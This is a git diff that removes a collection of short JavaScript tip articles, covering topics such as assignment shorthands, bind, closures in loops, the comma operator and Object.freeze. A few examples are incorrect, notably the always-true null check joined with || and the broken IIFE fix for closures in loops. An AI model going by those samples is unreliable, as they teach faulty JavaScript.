-> method(...['parameter1', , 'parameter3']); // works!
-```
-
-### 3. Unique array values
-
-I always wonder why the Array constructor does not have a designated method to facilitate the use of unique array values. Spread operators are here for the rescue. Use spread operators with the `Set` constructor to generate unique array values.
-
-```js
-> const arr = [...new Set([1, 2, 3, 3])];
-[1, 2, 3]
-```
diff --git a/docs/content/dated/assignmentshorthands.md b/docs/content/dated/assignmentshorthands.md
deleted file mode 100644
index 2ceaed8209..0000000000
--- a/docs/content/dated/assignmentshorthands.md
+++ /dev/null
@@ -1,114 +0,0 @@
--   /en/assignment-shorthands/
-
-Assigning is very common. Sometimes typing becomes time consuming for us 'Lazy programmers'.
-So, we can use some tricks to help us and make our code cleaner and simpler.
-
-This is the similar use of
-
-```js
-x += 23; // x = x + 23;
-y -= 15; // y = y - 15;
-z *= 10; // z = z * 10;
-k /= 7; // k = k / 7;
-p %= 3; // p = p % 3;
-d **= 2; // d = d ** 2;
-m >>= 2; // m = m >> 2;
-n <<= 2; // n = n << 2;
-n++; // n = n + 1;
-n--;
-n = n - 1;
-```
-
-### `++` and `--` operators
-
-There is a special `++` operator. It's best to explain it with an example:
-
-```js
-var a = 2;
-var b = a++;
-// Now a is 3 and b is 2
-```
-
-The `a++` statement does this:
-
-1. return the value of `a`
-2. increment `a` by 1
-
-But what if we wanted to increment the value first? It's simple:
-
-```js
-var a = 2;
-var b = ++a;
-// Now both a and b are 3
-```
-
-See? I put the operator _before_ the variable.
-
-The `--` operator is similar, except it decrements the value.
-
-### If-else (Using ternary operator)
-
-This is what we write on regular basis.
-
-```js
-var newValue;
-if (value > 10) newValue = 5;
-else newValue = 2;
-```
-
-We can user ternary operator to make it awesome:
-
-```js
-var newValue = value > 10 ? 5 : 2;
-```
-
-### Null, Undefined, Empty Checks
-
-```js
-if (variable1 !== null || variable1 !== undefined || variable1 !== '') {
-    var variable2 = variable1;
-}
-```
-
-Shorthand here:
-
-```js
-var variable2 = variable1 || '';
-```
-
-P.S.: If variable1 is a number, then first check if it is 0.
-
-### Object Array Notation
-
-Instead of using:
-
-```js
-var a = new Array();
-a[0] = 'myString1';
-a[1] = 'myString2';
-```
-
-Use this:
-
-```js
-var a = ['myString1', 'myString2'];
-```
-
-### Associative array
-
-Instead of using:
-
-```js
-var skillSet = new Array();
-skillSet['Document language'] = 'HTML5';
-skillSet['Styling language'] = 'CSS3';
-```
-
-Use this:
-
-```js
-var skillSet = {
-    'Document language': 'HTML5',
-    'Styling language': 'CSS3'
-};
-```
diff --git "a/docs/content/dated/avoidmodifyingorpassingargumentsintootherfunctions\342\200\224itkillsoptimization.md" "b/docs/content/dated/avoidmodifyingorpassingargumentsintootherfunctions\342\200\224itkillsoptimization.md"
deleted file mode 100644
index 36d17585f3..0000000000
--- "a/docs/content/dated/avoidmodifyingorpassingargumentsintootherfunctions\342\200\224itkillsoptimization.md"
+++ /dev/null
@@ -1,32 +0,0 @@
--   /en/avoid-modifying-or-passing-arguments-into-other-functions-it-kills-optimization/
-
-###Background
-
-Within JavaScript functions, the variable name [`arguments`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments) lets you access all of the arguments passed to the function. `arguments` is an _array-like object_; `arguments` can be accessed using array notation, and it has the _length_ property, but it doesn't have many of the built-in methods that arrays have such as `filter` and `map` and `forEach`. Because of this, it is a fairly common practice to convert `arguments` into an array using the following:
-
-```js
-var args = Array.prototype.slice.call(arguments);
-```
-
-This calls the `slice` method from the `Array` prototype, passing it `arguments`; the `slice` method returns a shallow copy of `arguments` as a new array object. A common shorthand for this is :
-
-```js
-var args = [].slice.call(arguments);
-```
-
-In this case, instead of calling `slice` from the `Array` prototype, it is simply being called from an empty array literal.
-
-###Optimization
-
-Unfortunately, passing `arguments` into any function call will cause the V8 JavaScript engine used in Chrome and Node to skip optimization on the function that does this, which can result in considerably slower performance. See this article on [optimization killers](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers). Passing `arguments` to any other function is known as _leaking `arguments`_.
-
-Instead, if you want an array of the arguments that lets you use you need to resort to this:
-
-```js
-var args = new Array(arguments.length);
-for (var i = 0; i < args.length; ++i) {
-    args[i] = arguments[i];
-}
-```
-
-Yes it is more verbose, but in production code, it is worth it for the performance optimization.
diff --git a/docs/content/dated/basics.md b/docs/content/dated/basics.md
deleted file mode 100644
index 2b78b2e782..0000000000
--- a/docs/content/dated/basics.md
+++ /dev/null
@@ -1,3 +0,0 @@
--   /en/basics-declarations/
-
-Special thanks to @kurtextrem for his collaboration :)!
diff --git a/docs/content/dated/basicsdeclarations.md b/docs/content/dated/basicsdeclarations.md
deleted file mode 100644
index 7160fefa1c..0000000000
--- a/docs/content/dated/basicsdeclarations.md
+++ /dev/null
@@ -1,75 +0,0 @@
--   /en/basics-declarations/
-
-Below, different ways to declare variables in JavaScript.
-Comments and console.log should be enough to explain what's happening here:
-
-```js
-var y,
-    x = (y = 1); //== var x; var y; x = y = 1
-console.log('--> 1:', `x = ${x}, y = ${y}`);
-
-// Will print
-//--> 1: x = 1, y = 1
-```
-
-First, we just set two variables. Nothing much here.
-
-```js
-(() => {
-    var x = (y = 2); // == var x; x = y = 2;
-    console.log('2.0:', `x = ${x}, y = ${y}`);
-})();
-console.log('--> 2.1:', `x = ${x}, y = ${y}`);
-
-// Will print
-//2.0: x = 2, y = 2
-//--> 2.1: x = 1, y = 2
-```
-
-As you can see, the code has only changed the global y, as we haven't declared the variable in the closure.
-
-```js
-(() => {
-    var x,
-        y = 3; // == var x; var y = 3;
-    console.log('3.0:', `x = ${x}, y = ${y}`);
-})();
-console.log('--> 3.1:', `x = ${x}, y = ${y}`);
-
-// Will print
-//3.0: x = undefined, y = 3
-//--> 3.1: x = 1, y = 2
-```
-
-Now we declare both variables through var. Meaning they only live in the context of the closure.
-
-```js
-(() => {
-    var y,
-        x = (y = 4); // == var x; var y; x = y = 4
-    console.log('4.0:', `x = ${x}, y = ${y}`);
-})();
-console.log('--> 4.1:', `x = ${x}, y = ${y}`);
-
-// Will print
-//4.0: x = 4, y = 4
-//--> 4.1: x = 1, y = 2
-```
-
-Both variables have been declared using var and only after that we've set their values. As local > global, x and y are local in the closure, meaning the global x and y are untouched.
-
-```js
-x = 5; // == x = 5
-console.log('--> 5:', `x = ${x}, y = ${y}`);
-
-// Will print
-//--> 5: x = 5, y = 2
-```
-
-This last line is explicit by itself.
-
-You can test this and see the result [thanks to babel](<https://babeljs.io/repl/#?experimental=false&evaluate=true&loose=false&spec=false&code=var%20y%2C%20x%20%3D%20y%20%3D%201%20%2F%2F%3D%3D%20var%20x%3B%20var%20y%3B%20x%20%3D%20y%20%3D%201%0Aconsole.log('--%3E%201%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F--%3E%201%3A%20x%20%3D%201%2C%20y%20%3D%201%0A%0A%3B(()%20%3D%3E%20%7B%20%0A%20%20var%20x%20%3D%20y%20%3D%202%20%2F%2F%20%3D%3D%20var%20x%3B%20y%20%3D%202%3B%0A%20%20console.log('2.0%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%7D)()%0Aconsole.log('--%3E%202.1%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F2.0%3A%20x%20%3D%202%2C%20y%20%3D%202%0A%2F%2F--%3E%202.1%3A%20x%20%3D%201%2C%20y%20%3D%202%0A%0A%3B(()%20%3D%3E%20%7B%20%0A%20%20var%20x%2C%20y%20%3D%203%20%2F%2F%20%3D%3D%20var%20x%3B%20var%20y%20%3D%203%3B%0A%20%20console.log('3.0%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%7D)()%0Aconsole.log('--%3E%203.1%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F3.0%3A%20x%20%3D%20undefined%2C%20y%20%3D%203%0A%2F%2F--%3E%203.1%3A%20x%20%3D%201%2C%20y%20%3D%202%0A%0A%3B(()%20%3D%3E%20%7B%20%0A%20%20var%20y%2C%20x%20%3D%20y%20%3D%204%20%2F%2F%20%3D%3D%20var%20x%3B%20var%20y%3B%20x%20%3D%20y%20%3D%203%0A%20%20console.log('4.0%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%7D)()%0Aconsole.log('--%3E%204.1%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F4.0%3A%20x%20%3D%204%2C%20y%20%3D%204%0A%2F%2F--%3E%204.1%3A%20x%20%3D%201%2C%20y%20%3D%202%0A%0Ax%20%3D%205%20%2F%2F%20%3D%3D%20x%20%3D%205%0Aconsole.log('--%3E%205%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F--%3E%205%3A%20x%20%3D%205%2C%20y%20%3D%202>).
-
-More informations available on the [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var).
-
-Special thanks to @kurtextrem for his collaboration :)!
diff --git a/docs/content/dated/bindingobjectstofunctions.md b/docs/content/dated/bindingobjectstofunctions.md
deleted file mode 100644
index 30cc40021f..0000000000
--- a/docs/content/dated/bindingobjectstofunctions.md
+++ /dev/null
@@ -1,56 +0,0 @@
--   /en/binding-objects-to-functions/
-
----
-
-More than often, we need to bind an object to a function's this object. JS uses the bind method when this is specified explicitly and we need to invoke desired method.
-
-### Bind syntax
-
-```js
-fun.bind(thisArg[, arg1[, arg2[, ...]]])
-```
-
-## Parameters
-
-**thisArg**
-
-`this` parameter value to be passed to target function while calling the `bound` function.
-
-**arg1, arg2, ...**
-
-Prepended arguments to be passed to the `bound` function while invoking the target function.
-
-**Return value**
-
-A copy of the given function along with the specified `this` value and initial arguments.
-
-### Bind method in action in JS
-
-```js
-const myCar = {
-    brand: 'Ford',
-    type: 'Sedan',
-    color: 'Red'
-};
-
-const getBrand = function () {
-    console.log(this.brand);
-};
-
-const getType = function () {
-    console.log(this.type);
-};
-
-const getColor = function () {
-    console.log(this.color);
-};
-
-getBrand(); // object not bind,undefined
-
-getBrand(myCar); // object not bind,undefined
-
-getType.bind(myCar)(); // Sedan
-
-let boundGetColor = getColor.bind(myCar);
-boundGetColor(); // Red
-```
diff --git a/docs/content/dated/breakcontinueloopfunctional.md b/docs/content/dated/breakcontinueloopfunctional.md
deleted file mode 100644
index 310c546bd8..0000000000
--- a/docs/content/dated/breakcontinueloopfunctional.md
+++ /dev/null
@@ -1,76 +0,0 @@
--   /en/break-continue-loop-functional/
-
----
-
-A common requirement of iteration is cancelation. Using `for` loops we can `break` to end iteration early.
-
-```js
-const a = [0, 1, 2, 3, 4];
-for (var i = 0; i < a.length; i++) {
-    if (a[i] === 2) {
-        break; // stop the loop
-    }
-    console.log(a[i]);
-}
-//> 0, 1
-```
-
-Another common requirement is to close over our variables.
-
-A quick approach is to use `.forEach` but
-then we lack the ability to `break`. In this situation the closest we get is `continue` functionality through `return`.
-
-```js
-[0, 1, 2, 3, 4].forEach(function (val, i) {
-    if (val === 2) {
-        // how do we stop?
-        return true;
-    }
-    console.log(val); // your code
-});
-//> 0, 1, 3, 4
-```
-
-The `.some` is a method on Array prototype. It tests whether some element in the array passes the test implemented by the provided function. If any value is returning true, then it stops executing. Here is a [MDN link](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/some) for more details.
-
-An example quoted from that link
-
-```js
-const isBiggerThan10 = (numb) => numb > 10;
-
-[2, 5, 8, 1, 4].some(isBiggerThan10); // false
-[12, 5, 8, 1, 4].some(isBiggerThan10); // true
-```
-
-Using `.some` we get iteration functionally similar to `.forEach` but with the ability to `break` through `return` instead.
-
-```js
-[0, 1, 2, 3, 4].some(function (val, i) {
-    if (val === 2) {
-        return true;
-    }
-    console.log(val); // your code
-});
-//> 0, 1
-```
-
-You keep returning `false` to make it `continue` to next item. When you return `true`, the loop will `break` and `a.some(..)` will `return` `true`.
-
-```js
-// Array contains 2
-const isTwoPresent = [0, 1, 2, 3, 4].some(function (val, i) {
-    if (val === 2) {
-        return true; // break
-    }
-});
-console.log(isTwoPresent);
-//> true
-```
-
-Also there is `.every`, which can be used. We have to return the opposite boolean compared to `.some`.
-
-##### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/jopeji/embed?js,console">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
diff --git a/docs/content/dated/calculatethemaxminvaluefroman.md b/docs/content/dated/calculatethemaxminvaluefroman.md
deleted file mode 100644
index a3981ccff1..0000000000
--- a/docs/content/dated/calculatethemaxminvaluefroman.md
+++ /dev/null
@@ -1,32 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/calculate-the-max-min-value-from-an-array/
-
-The built-in functions [Math.max()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max) and [Math.min()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min) find the maximum and minimum value of the arguments, respectively.
-
-```js
-Math.max(1, 2, 3, 4); // 4
-Math.min(1, 2, 3, 4); // 1
-```
-
-These functions will not work as-is with arrays of numbers. However, there are some ways around this.
-
-[`Function.prototype.apply()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply) allows you to call a function with a given `this` value and an _array_ of arguments.
-
-```js
-var numbers = [1, 2, 3, 4];
-Math.max.apply(null, numbers); // 4
-Math.min.apply(null, numbers); // 1
-```
-
-Passing the `numbers` array as the second argument of `apply()` results in the function being called with all values in the array as parameters.
-
-A simpler, ES2015 way of accomplishing this is with the new [spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator).
-
-```js
-var numbers = [1, 2, 3, 4];
-Math.max(...numbers); // 4
-Math.min(...numbers); // 1
-```
-
-This operator causes the values in the array to be expanded, or "spread", into the function's arguments.
diff --git a/docs/content/dated/calculatethemaxminvaluefromanarray.md b/docs/content/dated/calculatethemaxminvaluefromanarray.md
deleted file mode 100644
index a3981ccff1..0000000000
--- a/docs/content/dated/calculatethemaxminvaluefromanarray.md
+++ /dev/null
@@ -1,32 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/calculate-the-max-min-value-from-an-array/
-
-The built-in functions [Math.max()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max) and [Math.min()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min) find the maximum and minimum value of the arguments, respectively.
-
-```js
-Math.max(1, 2, 3, 4); // 4
-Math.min(1, 2, 3, 4); // 1
-```
-
-These functions will not work as-is with arrays of numbers. However, there are some ways around this.
-
-[`Function.prototype.apply()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply) allows you to call a function with a given `this` value and an _array_ of arguments.
-
-```js
-var numbers = [1, 2, 3, 4];
-Math.max.apply(null, numbers); // 4
-Math.min.apply(null, numbers); // 1
-```
-
-Passing the `numbers` array as the second argument of `apply()` results in the function being called with all values in the array as parameters.
-
-A simpler, ES2015 way of accomplishing this is with the new [spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator).
-
-```js
-var numbers = [1, 2, 3, 4];
-Math.max(...numbers); // 4
-Math.min(...numbers); // 1
-```
-
-This operator causes the values in the array to be expanded, or "spread", into the function's arguments.
diff --git a/docs/content/dated/checkifapropertyisinaobject.md b/docs/content/dated/checkifapropertyisinaobject.md
deleted file mode 100644
index 8977d137bf..0000000000
--- a/docs/content/dated/checkifapropertyisinaobject.md
+++ /dev/null
@@ -1,50 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/check-if-a-property-is-in-a-object/
-
-When you have to check if a property is present in an [object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects), you probably are doing something like this:
-
-```js
-var myObject = {
-  name: '@tips_js'
-};
-
-if (myObject.name) { ... }
-
-```
-
-That's ok, but you have to know that there are two native ways for this kind of thing, the [`in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in) and [`Object.hasOwnProperty`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty). Every object descended from `Object`, has both ways available.
-
-### See the big Difference
-
-```js
-var myObject = {
-    name: '@tips_js'
-};
-
-myObject.hasOwnProperty('name'); // true
-'name' in myObject; // true
-
-myObject.hasOwnProperty('valueOf'); // false, valueOf is inherited from the prototype chain
-'valueOf' in myObject; // true
-```
-
-Both differ in the depth at which they check the properties. In other words, `hasOwnProperty` will only return true if key is available on that object directly. However, the `in` operator doesn't discriminate between properties created on an object and properties inherited from the prototype chain.
-
-Here's another example:
-
-```js
-var myFunc = function () {
-    this.name = '@tips_js';
-};
-myFunc.prototype.age = '10 days';
-
-var user = new myFunc();
-
-user.hasOwnProperty('name'); // true
-user.hasOwnProperty('age'); // false, because age is from the prototype chain
-```
-
-Check the [live examples here](https://jsbin.com/tecoqa/edit?js,console)!
-
-I also recommend reading [this discussion](https://github.com/loverajoel/jstips/issues/62) about common mistakes made when checking a property's existence in objects.
diff --git a/docs/content/dated/closuresinsideloops.md b/docs/content/dated/closuresinsideloops.md
deleted file mode 100644
index fae74e0eb5..0000000000
--- a/docs/content/dated/closuresinsideloops.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-
-If you ever come across the likes of
-
-```js
-var funcs = [];
-for (var i = 0; i < 3; i++) {
-    funcs[i] = function () {
-        console.log('i value is ' + i);
-    };
-}
-
-for (var k = 0; k < 3; k++) {
-    funcs[k]();
-}
-```
-
-You will notice that the expected output of
-
-```
-i value is 0
-i value is 1
-i value is 2
-```
-
-Doesn't match the actual output which will resemble
-
-```
-i value is 3
-i value is 3
-i value is 3
-```
-
-This is because of how the capturing mechanism of closures work and how `i` is represented internally.
-
-To solve this situation you can do as follows:
-
-```js
-for (var i = 0; i < 3; i++) {
-    funcs[i] = (function (value) {
-        console.log('i value is ' + i);
-    })(i);
-}
-```
-
-Which effectively copies i by value by handing it to our closure or
-
-```js
-for (let i = 0; i < 3; i++) {
-    funcs[i] = function () {
-        console.log('i value is ' + i);
-    };
-}
-```
-
-Where `let` scopes the variable to our `for` loop and produces a new value each iteration, thus `i` will be bound to different values on our closures as expected.
diff --git a/docs/content/dated/commaoperatoninjs.md b/docs/content/dated/commaoperatoninjs.md
deleted file mode 100644
index 97c8fc29d7..0000000000
--- a/docs/content/dated/commaoperatoninjs.md
+++ /dev/null
@@ -1,65 +0,0 @@
--   /en/comma-operaton-in-js/
-
----
-
-Apart from being just a delimiter, the comma operator allows you to put multiple statements in a place where one statement is expected.
-Eg:-
-
-```js
-for (var i = 0, j = 0; i < 5; i++, j++, j++) {
-    console.log('i:' + i + ', j:' + j);
-}
-```
-
-Output:-
-
-```js
-i:0, j:0
-i:1, j:2
-i:2, j:4
-i:3, j:6
-i:4, j:8
-```
-
-When placed in an expression, it evaluates every expression from left to right and returns the right most expression.
-
-Eg:-
-
----
-
-```js
-function a() {
-    console.log('a');
-    return 'a';
-}
-function b() {
-    console.log('b');
-    return 'b';
-}
-function c() {
-    console.log('c');
-    return 'c';
-}
-
-var x = (a(), b(), c());
-
-console.log(x); // Outputs "c"
-```
-
-Output:-
-
-```js
-'a';
-'b';
-'c';
-
-'c';
-```
-
--   Note: The comma(`,`) operator has the lowest priority of all javascript operators, so without the parenthesis the expression would become: `(x = a()), b(), c();`.
-
-##### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/vimogap/embed?js,console">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
diff --git a/docs/content/dated/convertinganodelisttoanarray.md b/docs/content/dated/convertinganodelisttoanarray.md
deleted file mode 100644
index 203b4d33c9..0000000000
--- a/docs/content/dated/convertinganodelisttoanarray.md
+++ /dev/null
@@ -1,47 +0,0 @@
--   /en/converting-a-node-list-to-an-array/
-
-The `querySelectorAll` method returns an array-like object called a node list. These data structures are referred to as "Array-like", because they appear as an array, but can not be used with array methods like `map` and `forEach`. Here's a quick, safe, and reusable way to convert a node list into an array of DOM elements:
-
-```js
-const nodelist = document.querySelectorAll('div');
-const nodelistToArray = Array.apply(null, nodelist);
-
-//later on ..
-
-nodelistToArray.forEach(...);
-nodelistToArray.map(...);
-nodelistToArray.slice(...);
-
-//etc...
-```
-
-The `apply` method is used to pass an array of arguments to a function with a given `this` value. [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply) states that `apply` will take an array-like object, which is exactly what `querySelectorAll` returns. Since we don't need to specify a value for `this` in the context of the function, we pass in `null` or `0`. The result is an actual array of DOM elements which contains all of the available array methods.
-
-Alternatively you can use `Array.prototype.slice` combined with `Function.prototype.call` or `Function.prototype.apply` passing the array-like object as the value of `this`:
-
-```js
-const nodelist = document.querySelectorAll('div');
-const nodelistToArray = Array.prototype.slice.call(nodelist); // or equivalently Array.prototype.slice.apply(nodelist);
-
-//later on ..
-
-nodelistToArray.forEach(...);
-nodelistToArray.map(...);
-nodelistToArray.slice(...);
-
-//etc...
-```
-
-Or if you are using ES2015 you can use the [spread operator `...`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
-
-```js
-const nodelist = [...document.querySelectorAll('div')]; // returns a real array
-
-//later on ..
-
-nodelist.forEach(...);
-nodelist.map(...);
-nodelist.slice(...);
-
-//etc...
-```
diff --git a/docs/content/dated/convertingtonumberfastway.md b/docs/content/dated/convertingtonumberfastway.md
deleted file mode 100644
index 7622f47bf3..0000000000
--- a/docs/content/dated/convertingtonumberfastway.md
+++ /dev/null
@@ -1,17 +0,0 @@
--   /en/converting-to-number-fast-way/
-
-Converting strings to numbers is extremely common. The easiest and fastest ([jsPerf](https://jsperf.com/number-vs-parseint-vs-plus/29)) way to achieve that would be using the `+` (plus) operator.
-
-```js
-var one = '1';
-
-var numberOne = +one; // Number 1
-```
-
-You can also use the `-` (minus) operator which type-converts the value into number but also negates it.
-
-```js
-var one = '1';
-
-var negativeNumberOne = -one; // Number -1
-```
diff --git a/docs/content/dated/convertingtruthyfalsyvaluestoboolean.md b/docs/content/dated/convertingtruthyfalsyvaluestoboolean.md
deleted file mode 100644
index 517433a872..0000000000
--- a/docs/content/dated/convertingtruthyfalsyvaluestoboolean.md
+++ /dev/null
@@ -1,16 +0,0 @@
--   /en/converting-truthy-falsy-values-to-boolean/
-
-You can convert a [truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) or [falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) value to true boolean with the `!!` operator.
-
-```js
-!!''; // false
-!!0; // false
-!!null; // false
-!!undefined; // false
-!!NaN; // false
-
-!!'hello'; // true
-!!1; // true
-!!{}; // true
-!![]; // true
-```
diff --git a/docs/content/dated/copyto.md b/docs/content/dated/copyto.md
deleted file mode 100644
index 6a59cdf975..0000000000
--- a/docs/content/dated/copyto.md
+++ /dev/null
@@ -1,22 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/copy-to-clipboard/
-
----
-
-This is a simple tip, this week I had to create a common "Copy to Clipboard" button, I've never created one before and I want to share how I made it.
-It's easy, the bad thing is that we must add an `<input/>` with the text to be copied to the DOM. Then, we selected the content and execute the copy command with [execCommand](https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand).
-`execCommand('copy')` will copy the actual selected content.
-
-Also, this command that now is [supported](http://caniuse.com/#search=execCommand) by all the latest version of browsers, allows us to execute another system commands like `copy`, `cut`, `paste`, and make changes like fonts color, size, and much more.
-
-```js
-document.querySelector('#input').select();
-document.execCommand('copy');
-```
-
-##### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/huhozu/embed?js,output">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
diff --git a/docs/content/dated/copytoclipboard.md b/docs/content/dated/copytoclipboard.md
deleted file mode 100644
index 6a59cdf975..0000000000
--- a/docs/content/dated/copytoclipboard.md
+++ /dev/null
@@ -1,22 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/copy-to-clipboard/
-
----
-
-This is a simple tip, this week I had to create a common "Copy to Clipboard" button, I've never created one before and I want to share how I made it.
-It's easy, the bad thing is that we must add an `<input/>` with the text to be copied to the DOM. Then, we selected the content and execute the copy command with [execCommand](https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand).
-`execCommand('copy')` will copy the actual selected content.
-
-Also, this command that now is [supported](http://caniuse.com/#search=execCommand) by all the latest version of browsers, allows us to execute another system commands like `copy`, `cut`, `paste`, and make changes like fonts color, size, and much more.
-
-```js
-document.querySelector('#input').select();
-document.execCommand('copy');
-```
-
-##### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/huhozu/embed?js,output">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
diff --git a/docs/content/dated/createrange...neasilyusingoneline.md b/docs/content/dated/createrange...neasilyusingoneline.md
deleted file mode 100644
index 7853df360d..0000000000
--- a/docs/content/dated/createrange...neasilyusingoneline.md
+++ /dev/null
@@ -1,55 +0,0 @@
--   /en/create-range-0...n-easily-using-one-line/
-
-Here are two compact code sequences to generate the `N`-element array `[0, 1, ..., N-1]`:
-
-### Solution 1 (requires ES5)
-
-```js
-Array.apply(null, { length: N }).map(Function.call, Number);
-```
-
-#### Brief explanation
-
-1. `Array.apply(null, {length: N})` returns an `N`-element array filled with `undefined` (i.e. `A = [undefined, undefined, ...]`).
-2. `A.map(Function.call, Number)` returns an `N`-element array, whose index `I` gets the result of `Function.call.call(Number, undefined, I, A)`
-3. `Function.call.call(Number, undefined, I, A)` collapses into `Number(I)`, which is naturally `I`.
-4. Result: `[0, 1, ..., N-1]`.
-
-For a more thorough explanation, go [here](https://github.com/gromgit/jstips-xe/blob/master/tips/33.md).
-
-### Solution 2 (requires ES6)
-
-It uses `Array.from` [https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
-
-```js
-Array.from(new Array(N), (val, index) => index);
-```
-
-### Solution 3 (requires ES6)
-
-```js
-Array.from(Array(N).keys());
-```
-
-#### Brief explanation
-
-1. `A = new Array(N)` returns an array with `N` _holes_ (i.e. `A = [,,,...]`, but `A[x] = undefined` for `x` in `0...N-1`).
-2. `F = (val,index)=>index` is simply `function F (val, index) { return index; }`
-3. `Array.from(A, F)` returns an `N`-element array, whose index `I` gets the results of `F(A[I], I)`, which is simply `I`.
-4. Result: `[0, 1, ..., N-1]`.
-
-### One More Thing
-
-If you actually want the sequence [1, 2, ..., N], **Solution 1** becomes:
-
-```js
-Array.apply(null, { length: N }).map(function (value, index) {
-    return index + 1;
-});
-```
-
-and **Solution 2**:
-
-```js
-Array.from(new Array(N), (val, index) => index + 1);
-```
diff --git a/docs/content/dated/creatingimmutableobjectsinnativejavascript.md b/docs/content/dated/creatingimmutableobjectsinnativejavascript.md
deleted file mode 100644
index e67441a48a..0000000000
--- a/docs/content/dated/creatingimmutableobjectsinnativejavascript.md
+++ /dev/null
@@ -1,77 +0,0 @@
----
-
-# Creating immutable objects in native JavaScript
-
-Javascript it's a flexible language, you can redefine anything. But when projects get complex we find problems with mutable data structures.
-With the latest versions of JavaScript this situation changed. Now it's possible to create immutable objects. I'll walk you through how to do it in three different ways.
-
-### Wait, what means immutable?
-
-> Immutability in object means we don't want our objects to change in any ways once we create them i.e make them read-only type.
-
-Let's suppose we need to define a car [Object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object) and use its properties to perform operations throughout our entire project.
-We can't allow modifying by mistake any data.
-
-```
-const myTesla = {
-	maxSpeed: 250,
-	batteryLife: 300,
-	weight: 023
-};
-```
-
-## [Object.preventExtensions()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions)
-
-This method prevents the addition of new properties to our existing object.
-`preventExtensions()` is a irreversible operation. We can never add extra properties to the object again.
-
-```
-Object.isExtensible(myTesla); // true
-Object.preventExtensions(myTesla);
-Object.isExtensible(myTesla); // false
-myTesla.color = 'blue';
-console.log(myTesla.color) // undefined
-```
-
-## [Object.seal()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal)
-
-It prevents additions or deletion of properties. `seal()` also prevents the modification of property descriptors.
-
-```
-Object.isSealed(myTesla); // false
-Object.seal(myTesla);
-Object.isSealed(myTesla); // true
-
-myTesla.color = 'blue';
-console.log(myTesla.color); // undefined
-
-delete myTesla.batteryLife; // false
-console.log(myTesla.batteryLife); // 300
-
-Object.defineProperty(myTesla, 'batteryLife'); // TypeError: Cannot redefine property: batteryLife
-```
-
-## [Object.freeze()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
-
-It does the same that `Object.seal()` plus it makes the properties non-writable.
-
-```
-Object.isFrozen(myTesla); // false
-Object.freeze(myTesla);
-Object.isFrozen(myTesla); // true
-
-myTesla.color = 'blue';
